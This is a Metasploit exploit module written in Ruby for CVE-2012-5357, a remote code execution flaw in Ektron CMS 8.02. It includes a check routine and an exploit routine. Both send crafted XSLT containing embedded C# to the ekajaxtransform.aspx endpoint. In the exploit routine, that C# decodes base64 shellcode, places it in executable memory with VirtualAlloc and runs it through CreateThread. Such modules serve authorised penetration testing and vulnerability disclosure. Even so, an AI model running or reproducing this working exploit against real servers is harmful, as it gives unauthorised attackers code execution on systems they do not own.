##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/file_dropper'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Ektron 8.02 XSLT Transform Remote Code Execution',
			'Description'    => %q{
					This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The
				vulnerability exists due to the insecure usage of XslCompiledTransform, using a
				XSLT controlled by the user. The module has been tested successfully on Ektron CMS
				8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK
				SERVICE privileges.
			},
			'Author'         => [
				'Rich Lundeen', # Vulnerability discovery
				'juan vazquez', # Metasploit module
				'Nicolas "Nicob" Gregoire' # C# code using VirtualAlloc + copy shellcode + CreateThread
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-5357'],
					[ 'OSVDB', '88107' ],
					[ 'URL', 'http://webstersprodigy.net/2012/10/25/cve-2012-5357cve-1012-5358-cool-ektron-xslt-rce-bugs/' ],
					[ 'URL', 'http://technet.microsoft.com/en-us/security/msvr/msvr12-016' ]
				],
			'Payload'        =>
				{
					'Space'           => 2048,
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Targets'        =>
				[
					['Windows 2003 SP2 / Ektron CMS400 8.02', { }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 16 2012'
		))

		register_options(
			[
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the VBS payload request', 60]),
				OptString.new('TARGETURI', [true, 'The URI path of the Ektron CMS', '/cms400min/'])
			], self.class )
	end

	def check

		fingerprint = rand_text_alpha(5 + rand(5))
		xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[
public string xml()
{
return "#{fingerprint}";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
		XSLT

		res = send_request_cgi(
			{
				'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
				'headers' => {
					"Referer" => build_referer
				},
				'vars_post'    => {
					"xml" => rand_text_alpha(5 + rand(5)),
					"xslt" => xslt_data
				}
			})

		if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def uri_path
		uri_path = target_uri.path
		uri_path << "/" if uri_path[-1, 1] != "/"
		uri_path
	end

	def build_referer
		if datastore['SSL']
			schema = "https://"
		else
			schema = "http://"
		end

		referer = schema
		referer << rhost
		referer << ":#{rport}"
		referer << uri_path
		referer
	end

	def exploit

		print_status("Generating the EXE Payload and the XSLT...")
		fingerprint = rand_text_alpha(5 + rand(5))

		xslt_data = <<-XSLT
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="user">
<![CDATA[

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

public string xml()
{
	string shellcode64 = @"#{Rex::Text.encode_base64(payload.encoded)}";
	byte[] shellcode = System.Convert.FromBase64String(shellcode64);
	UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	System.Runtime.InteropServices.Marshal.Copy(shellcode , 0, (IntPtr)(funcAddr), shellcode .Length);
	IntPtr hThread = IntPtr.Zero;
	IntPtr pinfo = IntPtr.Zero;
	UInt32 threadId = 0;
	hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
	return "#{fingerprint}";
}
]]>
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml()"/>
</xsl:template>
</xsl:stylesheet>
		XSLT

		print_status("Trying to run the xslt transformation...")
		res = send_request_cgi(
			{
				'uri'     => "#{uri_path}WorkArea/ContentDesigner/ekajaxtransform.aspx",
				'version' => '1.1',
				'method'  => 'POST',
				'ctype'   => "application/x-www-form-urlencoded; charset=UTF-8",
				'headers' => {
					"Referer" => build_referer
				},
				'vars_post'    => {
					"xml" => rand_text_alpha(5 + rand(5)),
					"xslt" => xslt_data
				}
			})
		if res and res.code == 200 and res.body =~ /#{fingerprint}/ and res.body !~ /Error/
			print_good("Exploitation was successful")
		else
			fail_with(Exploit::Failure::Unknown, "There was an unexpected response to the xslt transformation request")
		end

	end
end
